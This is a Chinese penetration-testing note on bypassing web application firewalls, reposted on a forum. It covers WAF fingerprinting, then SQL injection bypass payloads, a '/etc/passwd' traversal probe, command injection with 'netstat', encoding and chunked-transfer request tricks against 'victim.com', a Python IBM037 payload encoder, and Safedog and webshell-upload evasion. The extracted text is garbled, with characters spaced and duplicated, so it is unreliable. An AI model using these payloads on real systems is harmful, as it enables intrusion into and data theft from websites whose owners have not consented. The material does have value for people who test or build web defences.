搜索

[7606] 2021-05-18_经验分享渗透笔记之BypassWAF

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-17
2021-05-18_经验分享渗透笔记之BypassWAF 经 验 分 享   |   渗 透 笔 记 之 B y p a s s   W A F 原 创   g o d d e m o n   F 1 2 s e c   2 0 2 1 - 0 5 - 1 8 收 录 于 话 题   # 经 验 分 享   , 8 个 前 言 前 言 “ 申 明 申 明 ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ 本 文 来 自 团 队 师 傅 本 文 来 自 团 队 师 傅 g o d d e m o n 的 日 常 学 习 笔 记 的 日 常 学 习 笔 记 师 傅 的 师 傅 的 C S D N 博 客 地 址 ： 博 客 地 址 ： h t t p s : / / b l o g . c s d n . n e t / q q _ 3 3 9 4 2 0 4 0 ? s p m = 1 0 1 0 . 2 1 3 5 . 3 0 0 1 . 5 3 4 3 ” P a r t   1 “ 识 别 识 别 W A F ( 1 ) c o o k i e 判 断 （ 例 如 判 断 （ 例 如 C i t r i x , N e t s c a l e r , Y u n s u o   W A F , s a f e d o g ） ） ( 2 ) 有 些 人 将 自 己 与 单 独 的 标 头 关 联 （ 例 如 有 些 人 将 自 己 与 单 独 的 标 头 关 联 （ 例 如 A n q u a n b a o   W A F , A m a z o n A W S   W A F ） 。 ） 。 ( 3 ) 有 些 经 常 更 改 标 头 和 混 乱 的 字 符 以 使 攻 击 者 感 到 困 惑 （ 例 如 有 些 经 常 更 改 标 头 和 混 乱 的 字 符 以 使 攻 击 者 感 到 困 惑 （ 例 如 N e t s c a l e r , B i g - I P ） 。 ） 。 ( 4 ) 有 些 人 在 服 务 器 头 数 据 包 中 暴 露 自 己 （ 有 些 人 在 服 务 器 头 数 据 包 中 暴 露 自 己 （ e g .   A p p r o a c h ,   W T S   W A F ） ） ( 5 ) 一 些 一 些 W A F 在 响 应 内 容 在 响 应 内 容 b o d y 中 公 开 自 身 （ 例 如 中 公 开 自 身 （ 例 如 D o t D e f e n d e r , A r m o r , S i t e l o c k ） ） ( 6 ) 其 他 其 他 W A F 会 对 恶 意 请 求 做 出 不 寻 常 的 响 应 代 码 答 复 （ 例 如 会 对 恶 意 请 求 做 出 不 寻 常 的 响 应 代 码 答 复 （ 例 如 W e b K n i g h t , 3 6 0 W A F ) ( 7 ) 有 些 有 些 W A F 会 返 回 一 堆 垃 圾 数 据 ， 卡 死 你 会 返 回 一 堆 垃 圾 数 据 ， 卡 死 你 ( 例 如 例 如 : 百 度 云 加 速 乐 百 度 云 加 速 乐 ) 检 测 检 测 W A F ( 1 ) 从 浏 览 器 发 出 普 通 的 从 浏 览 器 发 出 普 通 的 G E T 请 求 ， 拦 截 并 记 录 响 应 头 （ 特 别 是 请 求 ， 拦 截 并 记 录 响 应 头 （ 特 别 是 c o o k i e ） 。 ） 。 ( 2 ) 从 命 令 行 （ 例 如 从 命 令 行 （ 例 如 c U R L ） 发 出 请 求 ， 并 测 试 响 应 内 容 和 标 头 （ 不 包 括 ） 发 出 请 求 ， 并 测 试 响 应 内 容 和 标 头 （ 不 包 括 u s e r - a g e n t ） 。 ） 。 ( 3 ) 向 随 机 开 放 的 端 口 发 出 向 随 机 开 放 的 端 口 发 出 G E T 请 求 ， 并 抓 住 可 能 暴 露 请 求 ， 并 抓 住 可 能 暴 露 W A F 身 份 的 标 语 。 身 份 的 标 语 。 ( 4 ) 如 果 某 处 有 登 录 页 面 ， 表 单 页 面 等 如 果 某 处 有 登 录 页 面 ， 表 单 页 面 等 . 请 尝 试 一 些 常 见 的 （ 易 于 检 测 的 ） 有 效 负 载 ， 例 如 请 尝 试 一 些 常 见 的 （ 易 于 检 测 的 ） 有 效 负 载 ， 例 如   "   o r   1 = 1   - -   - ( 5 ) 将 将 . . / . . / . . / e t c / p a s s w d 附 加 到 附 加 到 U R L 末 尾 的 随 机 参 数 末 尾 的 随 机 参 数 ( 6 ) 在 在 u r l 的 末 尾 添 加 一 些 吸 引 人 的 关 键 字 ， 如 的 末 尾 添 加 一 些 吸 引 人 的 关 键 字 ， 如 ' o r   s l e e p （ （ 5 ） ） ‘ ( 7 ) 使 用 过 时 的 协 议 （ 如 使 用 过 时 的 协 议 （ 如 h t t p / 0 . 9 ） 发 出 ） 发 出 g e t 请 求 （ 请 求 （ h t t p / 0 . 9 不 支 持 不 支 持 p o s t 类 型 查 询 ） 。 类 型 查 询 ） 。 ( 8 ) 很 多 时 候 ， 很 多 时 候 ， w a f 根 据 不 同 的 交 互 类 型 改 变 服 务 器 头 。 根 据 不 同 的 交 互 类 型 改 变 服 务 器 头 。 ( 9 ) 删 除 操 作 技 术 删 除 操 作 技 术 - 发 送 一 个 原 始 的 发 送 一 个 原 始 的 f i n / r s t 包 到 服 务 器 并 识 别 响 应 。 包 到 服 务 器 并 识 别 响 应 。 ( 1 0 ) 侧 通 道 攻 击 侧 通 道 攻 击 - 检 查 请 求 和 响 应 内 容 的 计 时 行 为 。 检 查 请 求 和 响 应 内 容 的 计 时 行 为 。 S Q L 注 入 常 见 过 滤 以 及 绕 过 方 法 注 入 常 见 过 滤 以 及 绕 过 方 法 常 见 绕 过 方 法 s t e p 1 ： ： 过 滤 关 键 词 : a n d ,   o r ,   u n i o n   可 能 正 则 :   p r e g _ m a t c h ( ’ / ( a n d | o r | u n i o n ) / i ’ ,   $ i d ) s t e p 2 ： ： 过 滤 关 键 词 :   a n d ,   o r ,   u n i o n ,   w h e r e s t e p 3 : 过 滤 关 键 词 :   a n d ,   o r ,   u n i o n ,   w h e r e   ,   l i m i t s t e p 4 : 过 滤 关 键 词 :   a n d ,   o r ,   u n i o n ,   w h e r e   , l i m i t   ,   g r o u p   b y ,   s e l e c t -   B l o c k e d :   u n i o n   s e l e c t   u s e r ,   p a s s w o r d   f r o m   u s e r s -   B y p a s s :   1   | |   ( s e l e c t   u s e r   f r o m   u s e r s   w h e r e   u s e r _ i d   =   1 )   =   ' a d m i n ' -   B l o c k e d :   1   | |   ( s e l e c t   u s e r   f r o m   u s e r s   w h e r e   u s e r _ i d   =   1 )   =   ' a d m i n ' -   B y p a s s :   1   | |   ( s e l e c t   u s e r   f r o m   u s e r s   l i m i t   1 )   =   ' a d m i n ' -   B l o c k e d :   1   | |   ( s e l e c t   u s e r   f r o m   u s e r s   l i m i t   1 )   =   ' a d m i n ' -   B y p a s s :   1   | |   ( s e l e c t   u s e r   f r o m   u s e r s   g r o u p   b y   u s e r _ i d   h a v i n g   u s e r _ i d   =   1 )   =   ' a d m i n ' -   B l o c k e d :   1   | |   ( s e l e c t   u s e r   f r o m   u s e r s   g r o u p   b y   u s e r _ i d   h a v i n g   u s e r _ i d   =   1 )   =   ' a d m i n ' -   B y p a s s :   1   | |   ( s e l e c t   s u b s t r ( g r o u p _ c o n c a t ( u s e r _ i d ) , 1 , 1 )   u s e r   f r o m   u s e r s   )   =   1
s t e p 5 : 过 滤 关 键 词 :   a n d ,   o r ,   u n i o n ,   w h e r e   , l i m i t   ,   g r o u p   b y   ,   s e l e c t s t e p 6 : 过 滤 关 键 词 :   a n d ,   o r ,   u n i o n ,   w h e r e   , l i m i t   ,   g r o u p   b y   ,   s e l e c t   ,   ’ s t e p 7 : 过 滤 关 键 词 :   a n d ,   o r ,   u n i o n ,   w h e r e   , l i m i t   ,   g r o u p   b y   ,   s e l e c t , ’ , h e x s t e p 8 : 过 滤 关 键 词 :   a n d ,   o r ,   u n i o n ,   w h e r e   , l i m i t   ,   g r o u p   b y   ,   s e l e c t , ’ , h e x   ,   s u b s t r s t e p 9 : 过 滤 关 键 词 :   a n d ,   o r ,   u n i o n ,   w h e r e   , l i m i t   ,   g r o u p   b y   ,   s e l e c t , ’ , h e x   ,   s u b s t r   , w h i t e   s p a c e B u r p 插 件 插 件 b y p a s s w a f 参 数 参 数 ① ① I P 伪 造 伪 造 ② ② C o n t e n t - t y p e - - > 绕 绕 w a f 根 据 已 知 类 型 解 码 根 据 已 知 类 型 解 码 / 评 估 评 估 ③ ③ h o s t - - >   配 置 不 当 的 配 置 不 当 的 W A F 可 能 配 置 为 仅 根 据 此 标 头 中 找 到 的 主 机 的 正 确 可 能 配 置 为 仅 根 据 此 标 头 中 找 到 的 主 机 的 正 确 F Q D N 来 评 估 请 求 ， 这 是 此 绕 过 目 标 来 评 估 请 求 ， 这 是 此 绕 过 目 标 ④ ④ p a t h i n f o - - > 随 机 路 径 注 入 功 能 随 机 路 径 注 入 功 能 - - > 构 造 路 径 构 造 路 径 - - > 类 似 于 路 径 类 似 于 路 径 f u z z i n g ⑤ ⑤ P a t h O b f u s c a t i o n - - > 路 径 混 淆 路 径 混 淆 原 来 请 求 原 来 请 求 - - > / g e t / ? i d = ; n e t s t a t % 2 0 - a n t 构 造 后 构 造 后 - - > / g e t / / / ? i d = ; n e t s t a t % 2 0 - a n t   H T T P / 1 . 1 ⑥ ⑥ H P P   参 数 污 染 参 数 污 染 原 始 攻 击 原 始 攻 击 : / g e t / ? i d = ; n e t s t a t % 2 0 - a n t 参 数 污 染 攻 击 参 数 污 染 攻 击 : / g e t / ? i d = ; n e t s t a t % 2 0 - a n t & i d = t e s t & i d = t e s t & i d = t e s t ⑦ ⑦ S p a c e E n c o d i n g ( 对 空 格 进 行 编 码 对 空 格 进 行 编 码 ) 原 始 攻 击 原 始 攻 击 : / g e t / ? i d = ; n e t s t a t % 2 0 - a n t u r l 编 码 编 码 % u 编 码 编 码 / g e t / ? i d = ; n e t s t a t % u 0 0 0 0 - a n t 实 战 实 战 案 例 案 例 1   字 符 编 码 绕 w a f 字 符 编 码 脚 本 -   B l o c k e d :   1   | |   ( s e l e c t   s u b s t r ( g r u o p _ c o n c a t ( u s e r _ i d ) , 1 , 1 )   u s e r   f r o m   u s e r s )   =   1 -   B y p a s s :   1   | |   1   =   1   i n t o   o u t f i l e   ' r e s u l t . t x t ' -   B y p a s s :   1   | |   s u b s t r ( u s e r , 1 , 1 )   =   ' a ' -   B l o c k e d :   1   | |   ( s e l e c t   s u b s t r ( g r u o p _ c o n c a t ( u s e r _ i d ) , 1 , 1 )   u s e r   f r o m   u s e r s )   =   1 -   B y p a s s :   1   | |   u s e r _ i d   i s   n o t   n u l l -   B y p a s s :   1   | |   s u b s t r ( u s e r , 1 , 1 )   =   0 x 6 1 -   B y p a s s :   1   | |   s u b s t r ( u s e r , 1 , 1 )   =   u n h e x ( 6 1 ) -   B l o c k e d :   1   | |   s u b s t r ( u s e r , 1 , 1 )   =   u n h e x ( 6 1 ) -   B y p a s s :   1   | |   s u b s t r ( u s e r , 1 , 1 )   =   l o w e r ( c o n v ( 1 1 , 1 0 , 3 6 ) ) -   B l o c k e d :   1   | |   s u b s t r ( u s e r , 1 , 1 )   =   l o w e r ( c o n v ( 1 1 , 1 0 , 3 6 ) )   -   b u p a s s :   1   | |   l p a d ( u s e r , 7 , 1 ) -   B l o c k e d :   1   | |   l p a d ( u s e r , 7 , 1 )   -   B y p a s s :   1 % 0 b | | % 0 b l p a d ( u s e r , 7 , 1 ) P O S T   / s a m p l e . a s p x ? i n p u t 0 = s o m e t h i n g   H T T P / 1 . 1 H O S T :   v i c t i m . c o m C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ;   c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   4 1 i n p u t 1 = ' u n i o n   a l l   s e l e c t   *   f r o m   u s e r s - - i m p o r t   u r l l i b d e f   p a r a m E n c o d e ( p a r a m s = " " ,   c h a r s e t = " I B M 0 3 7 " ,   e n c o d e E q u a l S i g n = F a l s e ,   e n c o d e A m p e r s a n d = F a l s e ,   u r l d e c o d e I n p u t = T r u e ,   u r l e n c o d e O u t p u t = T r u e ) :         r e s u l t   =   " "         e q u a l S i g n   =   " = "         a m p e r s a n d   =   " & "         i f   e n c o d e E q u a l S i g n :               e q u a l S i g n   =   e q u a l S i g n . e n c o d e ( c h a r s e t )         i f   e n c o d e A m p e r s a n d :               a m p e r s a n d   =   a m p e r s a n d . e n c o d e ( c h a r s e t )         p a r a m s _ l i s t   =   p a r a m s . s p l i t ( " & " )
b y p a s s         p a r a m s _ l i s t   =   p a r a m s . s p l i t ( " & " )         f o r   p a r a m _ p a i r   i n   p a r a m s _ l i s t :               p a r a m ,   v a l u e   =   p a r a m _ p a i r . s p l i t ( " = " )               i f   u r l d e c o d e I n p u t :                     p a r a m   =   u r l l i b . u n q u o t e ( p a r a m ) . d e c o d e ( ' u t f 8 ' )                     v a l u e   =   u r l l i b . u n q u o t e ( v a l u e ) . d e c o d e ( ' u t f 8 ' )               p a r a m   =   p a r a m . e n c o d e ( c h a r s e t )               v a l u e   =   v a l u e . e n c o d e ( c h a r s e t )               i f   u r l e n c o d e O u t p u t :                     p a r a m   =   u r l l i b . q u o t e _ p l u s ( p a r a m )                     v a l u e   =   u r l l i b . q u o t e _ p l u s ( v a l u e )               i f   r e s u l t :                     r e s u l t   + =   a m p e r s a n d               r e s u l t   + =   p a r a m   +   e q u a l S i g n   +   v a l u e         r e t u r n   r e s u l t #   f o r   I I S p r i n t   p a r a m E n c o d e ( " i n p u t 1 = ' u n i o n   a l l   s e l e c t   *   f r o m   u s e r s - - " ) #   p r i n t s   % 8 9 % 9 5 % 9 7 % A 4 % A 3 % F 1 = % 7 D % A 4 % 9 5 % 8 9 % 9 6 % 9 5 % 4 0 % 8 1 % 9 3 % 9 3 % 4 0 % A 2 % 8 5 % 9 3 % 8 5 % 8 3 % A 3 % 4 0 % 5 C % 4 0 % 8 6 % 9 9 % 9 6 % 9 4 % 4 0 % A 4 % A 2 % 8 5 % 9 9 % A 2 % 6 0 % 6 0 P O S T   / s a m p l e . a s p x ? % 8 9 % 9 5 % 9 7 % A 4 % A 3 % F 0 = % A 2 % 9 6 % 9 4 % 8 5 % A 3 % 8 8 % 8 9 % 9 5 % 8 7   H T T P / 1 . 1 H O S T :   v i c t i m . c o m C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ;   c h a r s e t = i b m 0 3 7 C o n t e n t - L e n g t h :   1 1 5 % 8 9 % 9 5 % 9 7 % A 4 % A 3 % F 1 = % 7 D % A 4 % 9 5 % 8 9 % 9 6 % 9 5 % 4 0 % 8 1 % 9 3 % 9 3 % 4 0 % A 2 % 8 5 % 9 3 % 8 5 % 8 3 % A 3 % 4 0 % 5 C % 4 0 % 8 6 % 9 9 % 9 6 % 9 4 % 4 0 % A 4 % A 2 % 8 5 % 9 9 % A 2 % 6 0 % 6 0
案 例 案 例 2   c h u n k e d   绕 w a f ( 分 块 绕 w a f ) 分 块 编 码 b y p a s s 如 未 b y p a s s b y p a s s 常 见 常 见 w a f 绕 过 绕 过 ① 安 全 狗 绕 过 ① 安 全 狗 绕 过 s q l 注 入 绕 安 全 狗 注 入 绕 安 全 狗 内 联 绕 过 / ! 8 0 0 0 0 a a a / – > 里 面 符 号 常 见 / ! 5 0 0 0 1 / 类 如 文 件 上 传 绕 安 全 狗 文 件 上 传 绕 安 全 狗 ① 绕 后 缀 ① 绕 后 缀 C o n t e n t - D i s p o s i t i o n :   处 理 的 不 是 很 好 ，   当 长 度 增 加 到 4 8 9 3 0 的 时 候 ， 安 全 狗 的 上 传 防 御 就 失 效 了 如 P O S T   / s a m p l e . a s p x ? i n p u t 0 = s o m e t h i n g   H T T P / 1 . 1 H O S T :   v i c t i m . c o m C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ;   c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   4 1 i n p u t 1 = ' u n i o n   a l l   s e l e c t   *   f r o m   u s e r s - - P O S T   / s a m p l e . a s p x ? i n p u t 0 = s o m e t h i n g   H T T P / 1 . 1 H O S T :   v i c t i m . c o m C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ;   c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   1 1 0 T r a n s f e r - E n c o d i n g :   c h u n k e d 5 ; i n p u t 4 ; 1 = ' u 5 ; n i o n   4 ; a l l   5 ; s e l e c 4 ; t   *   4 ; f r o m 5 ;   u s e r 3 ; s - - 0 o r d e r / * ! 8 0 0 0 0 a a a * / b y / * ! 8 0 0 0 0 a a a * / 1 6
② 绕 内 容 ② 绕 内 容 免 杀 马 进 行 绕 ③ 绕 流 量 ③ 绕 流 量 蚁 剑 绕 或 者 直 接 上 传 大 马 绕 如 果 对 你 有 帮 助 的 话 如 果 对 你 有 帮 助 的 话 那 就 长 按 二 维 码 ， 那 就 长 按 二 维 码 ， 关 注 关 注 我 们 吧 ！ 我 们 吧 ！     实 战   |   简 单 的 s q l 注 入 与 脚 本 的 编 写     记 一 次 相 对 完 整 的 渗 透 测 试     实 战   |   一 次 简 单 的 信 息 收 集 到 g e t s h e l l 的 过 程 右 下 角 求 赞 求 好 看 ， 喵 ~
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理